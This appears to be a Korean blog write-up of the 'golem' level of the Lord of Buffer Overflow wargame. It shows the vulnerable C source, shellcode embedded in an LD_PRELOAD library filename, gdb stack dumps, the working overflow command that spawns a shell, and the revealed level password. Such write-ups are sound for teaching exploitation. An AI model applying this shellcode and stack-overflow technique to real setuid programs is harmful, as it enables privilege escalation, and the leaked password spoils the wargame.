728x90

skeleton / shellcoder

[skeleton@localhost tmp]$ cat ../golem.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}

buffer시작 주소부터 스택 아래 끝까지 0으로 초기화하고 있다.

[skeleton@localhost tmp]$ touch hello.c
[skeleton@localhost tmp]$ gcc -fPIC -shared hello.c -o `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[skeleton@localhost tmp]$ export LD_PRELOAD=./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

[skeleton@localhost tmp]$ gdb golem -q
(gdb) b main
Breakpoint 1 at 0x8048476
(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Starting program: /home/skeleton/tmp/golem `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`

Breakpoint 1, 0x8048476 in main ()
(gdb) x/1000x $ebp-4000
0xbfffea78:	0x0000049d	0x000005f3	0x00000119	0x000001d8
0xbfffea88:	0x000001d3	0x00000704	0x00000694	0x00000000
(생략)
0xbffff588:	0xbffff754	0x4000380e	0x40014468	0x90902f2e
0xbffff598:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5a8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5b8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5c8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5d8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5e8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5f8:	0x11eb9090	0xb1c9315e	0x0e6c8032	0xe98001ff
0xbffff608:	0xebf67501	0xffeae805	0xc132ffff	0x30306951
0xbffff618:	0x30696974	0x8a6f6a63	0x8a5451e4	0x0cb19ae2
0xbffff628:	0x400081ce	0x40013868	0x4000220c	0xbffffb5c
0xbffff638:	0x00000000	0x00000000	0x00000000	0x00000000

먼저 golem 파일을 tmp폴더를 만들어 아래에 복사했다. 모든 작업은 tmp에서 실시했다.

빈 파일 hello.c를 만든 후 \x90+쉘 코드 형태인 공유 라이브러리로 컴파일한다. -fPIC와 -shared 옵션으로 만들 수 있다. 빈 파일은 touch hello.c 명령을 사용해서 생성했다. 쉘 코드는 파일명에 사용되므로 \x2f가 없는 코드이어야 한다.

생성한 공유 라이브러리를 LD_PRELOAD 환경 변수에 등록한다.

LD_PRELOAD는 환경 변수 중 하나로 환경 변수에 설정된 라이브러리를 기존 라이브러리보다 앞서 로딩한다. 함수명이 다른 라이브러리에도 존재하는 경우 LD_PRELOAD에 설정된 라이브러리의 함수가 먼저 호출된다. 이런 방식으로 후킹(Hooking)을 하기도 한다. 자세한 내용은 다음의 링크를 참고해보자.

http://cloudrain21.com/dynamic-library-hooking

 

LD_PRELOAD 환경변수를 이용한 공유라이브러리(Dynamic Library) 후킹(Hooking) - Rain.i

All about IT tech, especially database, cloud, linux, clustering.

cloudrain21.com

golem 함수를 gdb로 들여다보니 위 쪽에 쉘 코드가 보인다. \x90중 하나의 주소를 retn 주소로 사용할 것이다. 0xbffff5b8로 설정했다.

[skeleton@localhost tmp]$ ../golem `python -c 'print "A"*44+"\xb8\xf5\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¸
bash$ my-pass
euid = 511
cup of coffee
bash$ exit

실제 golem 파일을 대상으로 실행하니 비밀번호가 나온다.

cup of coffee

참고로 tmp 폴더를 만들어서 작업을 했으면 golem 실행도 tmp 폴더 내에서 해야된다. 그렇지 않으면 실행이 안 되는 것을 확인했다. 처음부터 tmp 폴더를 만들지 않고 했으면 상관없었을 것이다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

darkknight -> bugbear  (0) 2023.01.31
golem -> darkknight  (0) 2023.01.26
vampire -> skeleton  (0) 2023.01.24
troll -> vampire  (2) 2023.01.24
orge -> troll  (0) 2023.01.23

+ Recent posts